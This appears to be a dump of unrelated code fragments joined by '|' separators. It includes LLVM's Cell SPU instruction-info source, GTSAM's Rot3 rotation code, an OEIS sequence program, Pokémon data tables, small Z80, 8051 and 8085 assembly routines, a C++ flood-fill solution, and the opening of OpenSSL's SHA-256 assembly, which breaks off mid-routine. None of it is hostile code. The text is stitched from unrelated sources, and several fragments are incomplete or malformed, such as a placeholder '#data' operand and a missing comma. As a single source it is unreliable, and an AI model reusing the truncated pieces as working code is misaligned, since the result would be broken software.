45 45 00 00 48 48 45 00 48 45 45 00 00 00 48 00 45 48 45 45 00 00 00 00 00 45 45 00 45 48 45 45 45 00 00 45 45 45 45 48 45 45 45 00 48 00
*/
|
li t0 -2
li t1, 1
srl s6, t0, t1
|
//===- SPUInstrInfo.cpp - Cell SPU Instruction Information ----------------===//
//
// The LLVM Compiler Infrastructure
//
// This file is distributed under the University of Illinois Open Source
// License. See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//
//
// This file contains the Cell SPU implementation of the TargetInstrInfo class.
//
//===----------------------------------------------------------------------===//
#include "SPURegisterNames.h"
#include "SPUInstrInfo.h"
#include "SPUInstrBuilder.h"
#include "SPUTargetMachine.h"
#include "SPUGenInstrInfo.inc"
#include "SPUHazardRecognizers.h"
#include "llvm/CodeGen/MachineInstrBuilder.h"
#include "llvm/Support/Debug.h"
#include "llvm/Support/ErrorHandling.h"
#include "llvm/Support/raw_ostream.h"
#include "llvm/MC/MCContext.h"
using namespace llvm;
namespace {
//! Predicate for an unconditional branch instruction
inline bool isUncondBranch(const MachineInstr *I) {
unsigned opc = I->getOpcode();
return (opc == SPU::BR
|| opc == SPU::BRA
|| opc == SPU::BI);
}
//! Predicate for a conditional branch instruction
inline bool isCondBranch(const MachineInstr *I) {
unsigned opc = I->getOpcode();
return (opc == SPU::BRNZr32
|| opc == SPU::BRNZv4i32
|| opc == SPU::BRZr32
|| opc == SPU::BRZv4i32
|| opc == SPU::BRHNZr16
|| opc == SPU::BRHNZv8i16
|| opc == SPU::BRHZr16
|| opc == SPU::BRHZv8i16);
}
}
SPUInstrInfo::SPUInstrInfo(SPUTargetMachine &tm)
: TargetInstrInfoImpl(SPUInsts, sizeof(SPUInsts)/sizeof(SPUInsts[0])),
TM(tm),
RI(*TM.getSubtargetImpl(), *this)
{ /* NOP */ }
/// CreateTargetHazardRecognizer - Return the hazard recognizer to use for
/// this target when scheduling the DAG.
ScheduleHazardRecognizer *SPUInstrInfo::CreateTargetHazardRecognizer(
const TargetMachine *TM,
const ScheduleDAG *DAG) const {
const TargetInstrInfo *TII = TM->getInstrInfo();
assert(TII && "No InstrInfo?");
return new SPUHazardRecognizer(*TII);
}
unsigned
SPUInstrInfo::isLoadFromStackSlot(const MachineInstr *MI,
int &FrameIndex) const {
switch (MI->getOpcode()) {
default: break;
case SPU::LQDv16i8:
case SPU::LQDv8i16:
case SPU::LQDv4i32:
case SPU::LQDv4f32:
case SPU::LQDv2f64:
case SPU::LQDr128:
case SPU::LQDr64:
case SPU::LQDr32:
case SPU::LQDr16: {
const MachineOperand MOp1 = MI->getOperand(1);
const MachineOperand MOp2 = MI->getOperand(2);
if (MOp1.isImm() && MOp2.isFI()) {
FrameIndex = MOp2.getIndex();
return MI->getOperand(0).getReg();
}
break;
}
}
return 0;
}
unsigned
SPUInstrInfo::isStoreToStackSlot(const MachineInstr *MI,
int &FrameIndex) const {
switch (MI->getOpcode()) {
default: break;
case SPU::STQDv16i8:
case SPU::STQDv8i16:
case SPU::STQDv4i32:
case SPU::STQDv4f32:
case SPU::STQDv2f64:
case SPU::STQDr128:
case SPU::STQDr64:
case SPU::STQDr32:
case SPU::STQDr16:
case SPU::STQDr8: {
const MachineOperand MOp1 = MI->getOperand(1);
const MachineOperand MOp2 = MI->getOperand(2);
if (MOp1.isImm() && MOp2.isFI()) {
FrameIndex = MOp2.getIndex();
return MI->getOperand(0).getReg();
}
break;
}
}
return 0;
}
void SPUInstrInfo::copyPhysReg(MachineBasicBlock &MBB,
MachineBasicBlock::iterator I, DebugLoc DL,
unsigned DestReg, unsigned SrcReg,
bool KillSrc) const
{
// We support cross register class moves for our aliases, such as R3 in any
// reg class to any other reg class containing R3. This is required because
// we instruction select bitconvert i64 -> f64 as a noop for example, so our
// types have no specific meaning.
BuildMI(MBB, I, DL, get(SPU::LRr128), DestReg)
.addReg(SrcReg, getKillRegState(KillSrc));
}
void
SPUInstrInfo::storeRegToStackSlot(MachineBasicBlock &MBB,
MachineBasicBlock::iterator MI,
unsigned SrcReg, bool isKill, int FrameIdx,
const TargetRegisterClass *RC,
const TargetRegisterInfo *TRI) const
{
unsigned opc;
bool isValidFrameIdx = (FrameIdx < SPUFrameLowering::maxFrameOffset());
if (RC == SPU::GPRCRegisterClass) {
opc = (isValidFrameIdx ? SPU::STQDr128 : SPU::STQXr128);
} else if (RC == SPU::R64CRegisterClass) {
opc = (isValidFrameIdx ? SPU::STQDr64 : SPU::STQXr64);
} else if (RC == SPU::R64FPRegisterClass) {
opc = (isValidFrameIdx ? SPU::STQDr64 : SPU::STQXr64);
} else if (RC == SPU::R32CRegisterClass) {
opc = (isValidFrameIdx ? SPU::STQDr32 : SPU::STQXr32);
} else if (RC == SPU::R32FPRegisterClass) {
opc = (isValidFrameIdx ? SPU::STQDr32 : SPU::STQXr32);
} else if (RC == SPU::R16CRegisterClass) {
opc = (isValidFrameIdx ? SPU::STQDr16 : SPU::STQXr16);
} else if (RC == SPU::R8CRegisterClass) {
opc = (isValidFrameIdx ? SPU::STQDr8 : SPU::STQXr8);
} else if (RC == SPU::VECREGRegisterClass) {
opc = (isValidFrameIdx) ? SPU::STQDv16i8 : SPU::STQXv16i8;
} else {
llvm_unreachable("Unknown regclass!");
}
DebugLoc DL;
if (MI != MBB.end()) DL = MI->getDebugLoc();
addFrameReference(BuildMI(MBB, MI, DL, get(opc))
.addReg(SrcReg, getKillRegState(isKill)), FrameIdx);
}
void
SPUInstrInfo::loadRegFromStackSlot(MachineBasicBlock &MBB,
MachineBasicBlock::iterator MI,
unsigned DestReg, int FrameIdx,
const TargetRegisterClass *RC,
const TargetRegisterInfo *TRI) const
{
unsigned opc;
bool isValidFrameIdx = (FrameIdx < SPUFrameLowering::maxFrameOffset());
if (RC == SPU::GPRCRegisterClass) {
opc = (isValidFrameIdx ? SPU::LQDr128 : SPU::LQXr128);
} else if (RC == SPU::R64CRegisterClass) {
opc = (isValidFrameIdx ? SPU::LQDr64 : SPU::LQXr64);
} else if (RC == SPU::R64FPRegisterClass) {
opc = (isValidFrameIdx ? SPU::LQDr64 : SPU::LQXr64);
} else if (RC == SPU::R32CRegisterClass) {
opc = (isValidFrameIdx ? SPU::LQDr32 : SPU::LQXr32);
} else if (RC == SPU::R32FPRegisterClass) {
opc = (isValidFrameIdx ? SPU::LQDr32 : SPU::LQXr32);
} else if (RC == SPU::R16CRegisterClass) {
opc = (isValidFrameIdx ? SPU::LQDr16 : SPU::LQXr16);
} else if (RC == SPU::R8CRegisterClass) {
opc = (isValidFrameIdx ? SPU::LQDr8 : SPU::LQXr8);
} else if (RC == SPU::VECREGRegisterClass) {
opc = (isValidFrameIdx) ? SPU::LQDv16i8 : SPU::LQXv16i8;
} else {
llvm_unreachable("Unknown regclass in loadRegFromStackSlot!");
}
DebugLoc DL;
if (MI != MBB.end()) DL = MI->getDebugLoc();
addFrameReference(BuildMI(MBB, MI, DL, get(opc), DestReg), FrameIdx);
}
//! Branch analysis
/*!
\note This code was kiped from PPC. There may be more branch analysis for
CellSPU than what's currently done here.
*/
bool
SPUInstrInfo::AnalyzeBranch(MachineBasicBlock &MBB, MachineBasicBlock *&TBB,
MachineBasicBlock *&FBB,
SmallVectorImpl<MachineOperand> &Cond,
bool AllowModify) const {
// If the block has no terminators, it just falls into the block after it.
MachineBasicBlock::iterator I = MBB.end();
if (I == MBB.begin())
return false;
--I;
while (I->isDebugValue()) {
if (I == MBB.begin())
return false;
--I;
}
if (!isUnpredicatedTerminator(I))
return false;
// Get the last instruction in the block.
MachineInstr *LastInst = I;
// If there is only one terminator instruction, process it.
if (I == MBB.begin() || !isUnpredicatedTerminator(--I)) {
if (isUncondBranch(LastInst)) {
// Check for jump tables
if (!LastInst->getOperand(0).isMBB())
return true;
TBB = LastInst->getOperand(0).getMBB();
return false;
} else if (isCondBranch(LastInst)) {
// Block ends with fall-through condbranch.
TBB = LastInst->getOperand(1).getMBB();
DEBUG(errs() << "Pushing LastInst: ");
DEBUG(LastInst->dump());
Cond.push_back(MachineOperand::CreateImm(LastInst->getOpcode()));
Cond.push_back(LastInst->getOperand(0));
return false;
}
// Otherwise, don't know what this is.
return true;
}
// Get the instruction before it if it's a terminator.
MachineInstr *SecondLastInst = I;
// If there are three terminators, we don't know what sort of block this is.
if (SecondLastInst && I != MBB.begin() &&
isUnpredicatedTerminator(--I))
return true;
// If the block ends with a conditional and unconditional branch, handle it.
if (isCondBranch(SecondLastInst) && isUncondBranch(LastInst)) {
TBB = SecondLastInst->getOperand(1).getMBB();
DEBUG(errs() << "Pushing SecondLastInst: ");
DEBUG(SecondLastInst->dump());
Cond.push_back(MachineOperand::CreateImm(SecondLastInst->getOpcode()));
Cond.push_back(SecondLastInst->getOperand(0));
FBB = LastInst->getOperand(0).getMBB();
return false;
}
// If the block ends with two unconditional branches, handle it. The second
// one is not executed, so remove it.
if (isUncondBranch(SecondLastInst) && isUncondBranch(LastInst)) {
TBB = SecondLastInst->getOperand(0).getMBB();
I = LastInst;
if (AllowModify)
I->eraseFromParent();
return false;
}
// Otherwise, can't handle this.
return true;
}
// search MBB for branch hint labels and branch hit ops
static void removeHBR( MachineBasicBlock &MBB) {
for (MachineBasicBlock::iterator I = MBB.begin(); I != MBB.end(); ++I){
if (I->getOpcode() == SPU::HBRA ||
I->getOpcode() == SPU::HBR_LABEL){
I=MBB.erase(I);
}
}
}
unsigned
SPUInstrInfo::RemoveBranch(MachineBasicBlock &MBB) const {
MachineBasicBlock::iterator I = MBB.end();
removeHBR(MBB);
if (I == MBB.begin())
return 0;
--I;
while (I->isDebugValue()) {
if (I == MBB.begin())
return 0;
--I;
}
if (!isCondBranch(I) && !isUncondBranch(I))
return 0;
// Remove the first branch.
DEBUG(errs() << "Removing branch: ");
DEBUG(I->dump());
I->eraseFromParent();
I = MBB.end();
if (I == MBB.begin())
return 1;
--I;
if (!(isCondBranch(I) || isUncondBranch(I)))
return 1;
// Remove the second branch.
DEBUG(errs() << "Removing second branch: ");
DEBUG(I->dump());
I->eraseFromParent();
return 2;
}
/** Find the optimal position for a hint branch instruction in a basic block.
* This should take into account:
* -the branch hint delays
* -congestion of the memory bus
* -dual-issue scheduling (i.e. avoid insertion of nops)
* Current implementation is rather simplistic.
*/
static MachineBasicBlock::iterator findHBRPosition(MachineBasicBlock &MBB)
{
MachineBasicBlock::iterator J = MBB.end();
for( int i=0; i<8; i++) {
if( J == MBB.begin() ) return J;
J--;
}
return J;
}
unsigned
SPUInstrInfo::InsertBranch(MachineBasicBlock &MBB, MachineBasicBlock *TBB,
MachineBasicBlock *FBB,
const SmallVectorImpl<MachineOperand> &Cond,
DebugLoc DL) const {
// Shouldn't be a fall through.
assert(TBB && "InsertBranch must not be told to insert a fallthrough");
assert((Cond.size() == 2 || Cond.size() == 0) &&
"SPU branch conditions have two components!");
MachineInstrBuilder MIB;
//TODO: make a more accurate algorithm.
bool haveHBR = MBB.size()>8;
removeHBR(MBB);
MCSymbol *branchLabel = MBB.getParent()->getContext().CreateTempSymbol();
// Add a label just before the branch
if (haveHBR)
MIB = BuildMI(&MBB, DL, get(SPU::HBR_LABEL)).addSym(branchLabel);
// One-way branch.
if (FBB == 0) {
if (Cond.empty()) {
// Unconditional branch
MIB = BuildMI(&MBB, DL, get(SPU::BR));
MIB.addMBB(TBB);
DEBUG(errs() << "Inserted one-way uncond branch: ");
DEBUG((*MIB).dump());
// basic blocks have just one branch so it is safe to add the hint a its
if (haveHBR) {
MIB = BuildMI( MBB, findHBRPosition(MBB), DL, get(SPU::HBRA));
MIB.addSym(branchLabel);
MIB.addMBB(TBB);
}
} else {
// Conditional branch
MIB = BuildMI(&MBB, DL, get(Cond[0].getImm()));
MIB.addReg(Cond[1].getReg()).addMBB(TBB);
if (haveHBR) {
MIB = BuildMI(MBB, findHBRPosition(MBB), DL, get(SPU::HBRA));
MIB.addSym(branchLabel);
MIB.addMBB(TBB);
}
DEBUG(errs() << "Inserted one-way cond branch: ");
DEBUG((*MIB).dump());
}
return 1;
} else {
MIB = BuildMI(&MBB, DL, get(Cond[0].getImm()));
MachineInstrBuilder MIB2 = BuildMI(&MBB, DL, get(SPU::BR));
// Two-way Conditional Branch.
MIB.addReg(Cond[1].getReg()).addMBB(TBB);
MIB2.addMBB(FBB);
if (haveHBR) {
MIB = BuildMI( MBB, findHBRPosition(MBB), DL, get(SPU::HBRA));
MIB.addSym(branchLabel);
MIB.addMBB(FBB);
}
DEBUG(errs() << "Inserted conditional branch: ");
DEBUG((*MIB).dump());
DEBUG(errs() << "part 2: ");
DEBUG((*MIB2).dump());
return 2;
}
}
//! Reverses a branch's condition, returning false on success.
bool
SPUInstrInfo::ReverseBranchCondition(SmallVectorImpl<MachineOperand> &Cond)
const {
// Pretty brainless way of inverting the condition, but it works, considering
// there are only two conditions...
static struct {
unsigned Opc; //! The incoming opcode
unsigned RevCondOpc; //! The reversed condition opcode
} revconds[] = {
{ SPU::BRNZr32, SPU::BRZr32 },
{ SPU::BRNZv4i32, SPU::BRZv4i32 },
{ SPU::BRZr32, SPU::BRNZr32 },
{ SPU::BRZv4i32, SPU::BRNZv4i32 },
{ SPU::BRHNZr16, SPU::BRHZr16 },
{ SPU::BRHNZv8i16, SPU::BRHZv8i16 },
{ SPU::BRHZr16, SPU::BRHNZr16 },
{ SPU::BRHZv8i16, SPU::BRHNZv8i16 }
};
unsigned Opc = unsigned(Cond[0].getImm());
// Pretty dull mapping between the two conditions that SPU can generate:
for (int i = sizeof(revconds)/sizeof(revconds[0]) - 1; i >= 0; --i) {
if (revconds[i].Opc == Opc) {
Cond[0].setImm(revconds[i].RevCondOpc);
return false;
}
}
return true;
}
|
; A171972: Greatest integer k such that k/n^2 < sqrt(3).
; 0,1,6,15,27,43,62,84,110,140,173,209,249,292,339,389,443,500,561,625,692,763,838,916,997,1082,1170,1262,1357,1456,1558,1664,1773,1886,2002,2121,2244,2371,2501,2634,2771,2911,3055,3202,3353,3507,3665,3826,3990,4158,4330,4505,4683,4865,5050,5239,5431,5627,5826,6029,6235,6444,6658,6874,7094,7317,7544,7775,8009,8246,8487,8731,8978,9230,9484,9742,10004,10269,10537,10809,11085,11363,11646,11932,12221,12514,12810,13109,13413,13719,14029,14343,14660,14980,15304,15631,15962,16296,16634,16975,17320,17668,18020,18375,18733,19095,19461,19830,20202,20578,20957,21340,21726,22116,22509,22906,23306,23710,24117,24527,24941,25358,25779,26204,26632,27063,27498,27936,28377,28823,29271,29723,30179,30638,31100,31566,32036,32508,32985,33464,33948,34434,34925,35418,35915,36416,36920,37427,37938,38453,38971,39492,40017,40545,41077,41612,42151,42693,43238,43787,44340,44896,45455,46018,46585,47155,47728,48305,48885,49469,50056,50646,51240,51838,52439,53044,53652,54263,54878,55496,56118,56743,57372,58004,58640,59279,59922,60568,61217,61870,62527,63186,63850,64517,65187,65861,66538,67219,67903,68590,69282,69976,70674,71376,72081,72789,73501,74216,74935,75657,76383,77112,77845,78581,79320,80064,80810,81560,82313,83070,83831,84595,85362,86133,86907,87685,88466,89250,90038,90830,91625,92423,93225,94031,94840,95652,96468,97287,98110,98936,99766,100599,101435,102275,103119,103966,104816,105670,106528,107388
pow $0,2
mov $2,$0
mul $2,2
mov $0,$2
mul $0,$2
mov $1,$2
mul $1,2
add $1,2
lpb $0,1
sub $0,1
sub $1,1
trn $0,$1
add $1,5
lpe
sub $1,5
div $1,4
|
db "SEED@" ; species name
dw 303, 290 ; height, weight
db "The bulb on its"
next "back grows as it"
next "absorbs nutrients."
page "The bulb gives off"
next "a pleasant aroma"
next "when it blooms.@"
|
; double fmod(double x, double y)
SECTION code_clib
SECTION code_fp_math48
PUBLIC cm48_sccz80_fmod
EXTERN am48_fmod, cm48_sccz80p_dread2
cm48_sccz80_fmod:
call cm48_sccz80p_dread2
; AC'= y
; AC = x
exx
jp am48_fmod
|
db 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 3, 3, 3, 66, 66
db 66, 66, 66, 66, 66, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16
db 16, 16, 16, 16, 16, 16, 16, 16, 20, 20, 20, 20, 20, 20, 20, 20
db 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20
db 20, 20, 20, 20, 20, 84, 84, 84, 84, 84, 84, 84, 84, 84, 84, 84
db 84, 84, 84, 84, 84, 84, 84, 84, 84, 84, 84, 50, 50, 50, 50, 50
db 50, 50, 50, 50, 50, 50, 50, 50, 50, 50, 50, 50, 50, 50, 50, 50
db 50, 50, 50, 50, 50, 50, 50, 50, 50, 50, 50, 50, 50, 50, 50, 50
db 50, 50, 50, 50, 50, 112, 112, 112, 54, 54, 54, 54, 54, 54, 54, 54
db 54, 54, 54, 54, 54, 54, 114, 114, 114, 114, 114, 114, 114, 114, 114, 114
db 114, 114, 114, 114, 114, 114, 114, 114, 114, 114, 118, 118, 118, 118, 118, 118
db 118, 118, 118, 118, 118, 118, 118, 118, 118, 118, 118, 118, 118, 118, 118, 118
db 118, 118, 118, 118, 119, 119, 119, 119, 119, 119, 119, 119, 119, 119, 119, 119
db 119, 119, 119, 119, 119, 119, 119, 119, 119, 119, 119, 119, 119, 119, 119, 126
db 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126
db 126, 126, 126, 126, 126, 126, 126, 126, 126, 127, 127, 127, 127, 127, 127, 127
|
NAME DELAY1MS
PUBLIC EZUSB_DELAY1MS
$include (..\..\inc\ezregs.inc)
EZUSB segment code
rseg EZUSB
EZUSB_DELAY1MS:
; Delay for 1 millisecond (1000 microseconds).
; 10 cycles * 166.6 ns per cycle is 1.66 microseconds per loop.
; 1000 microseconds / 1.66 = 602. [assumes 24 MHz clock]
;
mov a, #0 ; Clear dps so that we're using dph and dpl!
mov dps, a ;
mov dptr,#(0ffffH - 602) ; long pulse for operating
mov r4,#5
loop: inc dptr ; 3 cycles
mov a,dpl ; 2 cycles
orl a,dph ; 2 cycles
jnz loop ; 3 cycles
;
er_end: ret
end
|
;
; Print function
; Expects bx to point to a null-terminated string
; Prints the string to the console
;
print:
push ax
push bx
push cx
mov ah, 0x0e ; scrolling teletype routine
.print_char:
mov cx, [bx]
test cl, cl
je .exit
add bx, 1
mov al, cl
int 0x10
jmp .print_char
.exit:
pop cx
pop bx
pop ax
ret
;
; Calls print, appends newline
;
println:
call print
push bx
mov bx, NWLN
call print
pop bx
ret
NWLN:
db 0xa,0xd,0
|
#include <iostream>
#include <vector>
using namespace std;
void floodfill(vector<vector<int>> &image, int i, int j, int oldColor)
{
int m = image.size();
int n = image[0].size();
if (i < 0 || j < 0 || i >= m || j >= n)
return;
if (image[i][j] == -1 || image[i][j] != oldColor)
return;
image[i][j] = -1;
floodfill(image, i - 1, j, oldColor);
floodfill(image, i + 1, j, oldColor);
floodfill(image, i, j - 1, oldColor);
floodfill(image, i, j + 1, oldColor);
}
class Solution
{
public:
vector<vector<int>> floodFill(vector<vector<int>> &image, int sr, int sc, int newColor)
{
int m = image.size();
int n = image[0].size();
int oldColor = image[sr][sc];
floodfill(image, sr, sc, oldColor);
for (int i = 0; i < m; i++)
for (int j = 0; j < n; j++)
if (image[i][j] == -1)
image[i][j] = newColor;
return image;
}
}; |
/* ----------------------------------------------------------------------------
* GTSAM Copyright 2010, Georgia Tech Research Corporation,
* Atlanta, Georgia 30332-0415
* All Rights Reserved
* Authors: Frank Dellaert, et al. (see THANKS for the full author list)
* See LICENSE for the license information
* -------------------------------------------------------------------------- */
/**
* @file Rot3.cpp
* @brief Rotation, common code between Rotation matrix and Quaternion
* @author Alireza Fathi
* @author Christian Potthast
* @author Frank Dellaert
* @author Richard Roberts
* @author Varun Agrawal
*/
#include <gtsam/geometry/Rot3.h>
#include <gtsam/geometry/SO3.h>
#include <boost/math/constants/constants.hpp>
#include <cmath>
#include <random>
using namespace std;
namespace gtsam {
/* ************************************************************************* */
void Rot3::print(const std::string& s) const {
cout << (s.empty() ? "R: " : s + " ");
gtsam::print(static_cast<Matrix>(matrix()));
}
/* ************************************************************************* */
Rot3 Rot3::Random(std::mt19937& rng) {
Unit3 axis = Unit3::Random(rng);
uniform_real_distribution<double> randomAngle(-M_PI, M_PI);
double angle = randomAngle(rng);
return AxisAngle(axis, angle);
}
/* ************************************************************************* */
Rot3 Rot3::AlignPair(const Unit3& axis, const Unit3& a_p, const Unit3& b_p) {
// if a_p is already aligned with b_p, return the identity rotation
if (std::abs(a_p.dot(b_p)) > 0.999999999) {
return Rot3();
}
// Check axis was not degenerate cross product
const Vector3 z = axis.unitVector();
if (z.hasNaN())
throw std::runtime_error("AlignSinglePair: axis has Nans");
// Now, calculate rotation that takes b_p to a_p
const Matrix3 P = I_3x3 - z * z.transpose(); // orthogonal projector
const Vector3 a_po = P * a_p.unitVector(); // point in a orthogonal to axis
const Vector3 b_po = P * b_p.unitVector(); // point in b orthogonal to axis
const Vector3 x = a_po.normalized(); // x-axis in axis-orthogonal plane, along a_p vector
const Vector3 y = z.cross(x); // y-axis in axis-orthogonal plane
const double u = x.dot(b_po); // x-coordinate for b_po
const double v = y.dot(b_po); // y-coordinate for b_po
double angle = std::atan2(v, u);
return Rot3::AxisAngle(z, -angle);
}
/* ************************************************************************* */
Rot3 Rot3::AlignTwoPairs(const Unit3& a_p, const Unit3& b_p, //
const Unit3& a_q, const Unit3& b_q) {
// there are three frames in play:
// a: the first frame in which p and q are measured
// b: the second frame in which p and q are measured
// i: intermediate, after aligning first pair
// First, find rotation around that aligns a_p and b_p
Rot3 i_R_b = AlignPair(a_p.cross(b_p), a_p, b_p);
// Rotate points in frame b to the intermediate frame,
// in which we expect the point p to be aligned now
Unit3 i_q = i_R_b * b_q;
assert(assert_equal(a_p, i_R_b * b_p, 1e-6));
// Now align second pair: we need to align i_q to a_q
Rot3 a_R_i = AlignPair(a_p, a_q, i_q);
assert(assert_equal(a_p, a_R_i * a_p, 1e-6));
assert(assert_equal(a_q, a_R_i * i_q, 1e-6));
// The desired rotation is the product of both
Rot3 a_R_b = a_R_i * i_R_b;
return a_R_b;
}
/* ************************************************************************* */
bool Rot3::equals(const Rot3 & R, double tol) const {
return equal_with_abs_tol(matrix(), R.matrix(), tol);
}
/* ************************************************************************* */
Point3 Rot3::operator*(const Point3& p) const {
return rotate(p);
}
/* ************************************************************************* */
Unit3 Rot3::rotate(const Unit3& p,
OptionalJacobian<2,3> HR, OptionalJacobian<2,2> Hp) const {
Matrix32 Dp;
Unit3 q = Unit3(rotate(p.point3(Hp ? &Dp : 0)));
if (Hp) *Hp = q.basis().transpose() * matrix() * Dp;
if (HR) *HR = -q.basis().transpose() * matrix() * p.skew();
return q;
}
/* ************************************************************************* */
Unit3 Rot3::unrotate(const Unit3& p,
OptionalJacobian<2,3> HR, OptionalJacobian<2,2> Hp) const {
Matrix32 Dp;
Unit3 q = Unit3(unrotate(p.point3(Dp)));
if (Hp) *Hp = q.basis().transpose() * matrix().transpose () * Dp;
if (HR) *HR = q.basis().transpose() * q.skew();
return q;
}
/* ************************************************************************* */
Unit3 Rot3::operator*(const Unit3& p) const {
return rotate(p);
}
/* ************************************************************************* */
// see doc/math.lyx, SO(3) section
Point3 Rot3::unrotate(const Point3& p, OptionalJacobian<3,3> H1,
OptionalJacobian<3,3> H2) const {
const Matrix3& Rt = transpose();
Point3 q(Rt * p); // q = Rt*p
const double wx = q.x(), wy = q.y(), wz = q.z();
if (H1)
*H1 << 0.0, -wz, +wy, +wz, 0.0, -wx, -wy, +wx, 0.0;
if (H2)
*H2 = Rt;
return q;
}
/* ************************************************************************* */
Point3 Rot3::column(int index) const{
if(index == 3)
return r3();
else if(index == 2)
return r2();
else if(index == 1)
return r1(); // default returns r1
else
throw invalid_argument("Argument to Rot3::column must be 1, 2, or 3");
}
/* ************************************************************************* */
Vector3 Rot3::xyz(OptionalJacobian<3, 3> H) const {
Matrix3 I;Vector3 q;
if (H) {
Matrix93 mH;
const auto m = matrix();
#ifdef GTSAM_USE_QUATERNIONS
SO3{m}.vec(mH);
#else
rot_.vec(mH);
#endif
Matrix39 qHm;
boost::tie(I, q) = RQ(m, qHm);
// TODO : Explore whether this expression can be optimized as both
// qHm and mH are super-sparse
*H = qHm * mH;
} else
boost::tie(I, q) = RQ(matrix());
return q;
}
/* ************************************************************************* */
Vector3 Rot3::ypr(OptionalJacobian<3, 3> H) const {
Vector3 q = xyz(H);
if (H) H->row(0).swap(H->row(2));
return Vector3(q(2),q(1),q(0));
}
/* ************************************************************************* */
Vector3 Rot3::rpy(OptionalJacobian<3, 3> H) const { return xyz(H); }
/* ************************************************************************* */
double Rot3::roll(OptionalJacobian<1, 3> H) const {
double r;
if (H) {
Matrix3 xyzH;
r = xyz(xyzH)(0);
*H = xyzH.row(0);
} else
r = xyz()(0);
return r;
}
/* ************************************************************************* */
double Rot3::pitch(OptionalJacobian<1, 3> H) const {
double p;
if (H) {
Matrix3 xyzH;
p = xyz(xyzH)(1);
*H = xyzH.row(1);
} else
p = xyz()(1);
return p;
}
/* ************************************************************************* */
double Rot3::yaw(OptionalJacobian<1, 3> H) const {
double y;
if (H) {
Matrix3 xyzH;
y = xyz(xyzH)(2);
*H = xyzH.row(2);
} else
y = xyz()(2);
return y;
}
/* ************************************************************************* */
Vector Rot3::quaternion() const {
gtsam::Quaternion q = toQuaternion();
Vector v(4);
v(0) = q.w();
v(1) = q.x();
v(2) = q.y();
v(3) = q.z();
return v;
}
/* ************************************************************************* */
pair<Unit3, double> Rot3::axisAngle() const {
const Vector3 omega = Rot3::Logmap(*this);
return std::pair<Unit3, double>(Unit3(omega), omega.norm());
}
/* ************************************************************************* */
Matrix3 Rot3::ExpmapDerivative(const Vector3& x) {
return SO3::ExpmapDerivative(x);
}
/* ************************************************************************* */
Matrix3 Rot3::LogmapDerivative(const Vector3& x) {
return SO3::LogmapDerivative(x);
}
/* ************************************************************************* */
pair<Matrix3, Vector3> RQ(const Matrix3& A, OptionalJacobian<3, 9> H) {
const double x = -atan2(-A(2, 1), A(2, 2));
const auto Qx = Rot3::Rx(-x).matrix();
const Matrix3 B = A * Qx;
const double y = -atan2(B(2, 0), B(2, 2));
const auto Qy = Rot3::Ry(-y).matrix();
const Matrix3 C = B * Qy;
const double z = -atan2(-C(1, 0), C(1, 1));
const auto Qz = Rot3::Rz(-z).matrix();
const Matrix3 R = C * Qz;
if (H) {
if (std::abs(y - M_PI / 2) < 1e-2)
throw std::runtime_error(
"Rot3::RQ : Derivative undefined at singularity (gimbal lock)");
auto atan_d1 = [](double y, double x) { return x / (x * x + y * y); };
auto atan_d2 = [](double y, double x) { return -y / (x * x + y * y); };
const auto sx = -Qx(2, 1), cx = Qx(1, 1);
const auto sy = -Qy(0, 2), cy = Qy(0, 0);
*H = Matrix39::Zero();
// First, calculate the derivate of x
(*H)(0, 5) = atan_d1(A(2, 1), A(2, 2));
(*H)(0, 8) = atan_d2(A(2, 1), A(2, 2));
// Next, calculate the derivate of y. We have
// b20 = a20 and b22 = a21 * sx + a22 * cx
(*H)(1, 2) = -atan_d1(B(2, 0), B(2, 2));
const auto yHb22 = -atan_d2(B(2, 0), B(2, 2));
(*H)(1, 5) = yHb22 * sx;
(*H)(1, 8) = yHb22 * cx;
// Next, calculate the derivate of z. We have
// c10 = a10 * cy + a11 * sx * sy + a12 * cx * sy
// c11 = a11 * cx - a12 * sx
const auto c10Hx = (A(1, 1) * cx - A(1, 2) * sx) * sy;
const auto c10Hy = A(1, 2) * cx * cy + A(1, 1) * cy * sx - A(1, 0) * sy;
Vector9 c10HA = c10Hx * H->row(0) + c10Hy * H->row(1);
c10HA[1] = cy;
c10HA[4] = sx * sy;
c10HA[7] = cx * sy;
const auto c11Hx = -A(1, 2) * cx - A(1, 1) * sx;
Vector9 c11HA = c11Hx * H->row(0);
c11HA[4] = cx;
c11HA[7] = -sx;
H->block<1, 9>(2, 0) =
atan_d1(C(1, 0), C(1, 1)) * c10HA + atan_d2(C(1, 0), C(1, 1)) * c11HA;
}
const auto xyz = Vector3(x, y, z);
return make_pair(R, xyz);
}
/* ************************************************************************* */
ostream &operator<<(ostream &os, const Rot3& R) {
os << R.matrix().format(matlabFormat());
return os;
}
/* ************************************************************************* */
Rot3 Rot3::slerp(double t, const Rot3& other) const {
return interpolate(*this, other, t);
}
/* ************************************************************************* */
} // namespace gtsam
|
MVI A,#data
SIM
EI
JMP NEXT
NEXT: DI
MVI A,#C0H
SIM
EI
RET
|
; WARNING: do not edit!
; Generated from openssl/crypto/sha/asm/sha256-586.pl
;
; Copyright 2007-2020 The OpenSSL Project Authors. All Rights Reserved.
;
; Licensed under the OpenSSL license (the "License"). You may not use
; this file except in compliance with the License. You can obtain a copy
; in the file LICENSE in the source distribution or at
; https://www.openssl.org/source/license.html
%ifidn __OUTPUT_FORMAT__,obj
section code use32 class=code align=64
%elifidn __OUTPUT_FORMAT__,win32
$@feat.00 equ 1
section .text code align=64
%else
section .text code
%endif
;extern _OPENSSL_ia32cap_P
global _sha256_block_data_order
align 16
_sha256_block_data_order:
L$_sha256_block_data_order_begin:
push ebp
push ebx
push esi
push edi
mov esi,DWORD [20+esp]
mov edi,DWORD [24+esp]
mov eax,DWORD [28+esp]
mov ebx,esp
call L$000pic_point
L$000pic_point:
pop ebp
lea ebp,[(L$001K256-L$000pic_point)+ebp]
sub esp,16
and esp,-64
shl eax,6
add eax,edi
mov DWORD [esp],esi
mov DWORD [4+esp],edi
mov DWORD [8+esp],eax
mov DWORD [12+esp],ebx
jmp NEAR L$002loop
align 16
L$002loop:
mov eax,DWORD [edi]
mov ebx,DWORD [4+edi]
mov ecx,DWORD [8+edi]
bswap eax
mov edx,DWORD [12+edi]
bswap ebx
push eax
bswap ecx
push ebx
bswap edx
push ecx
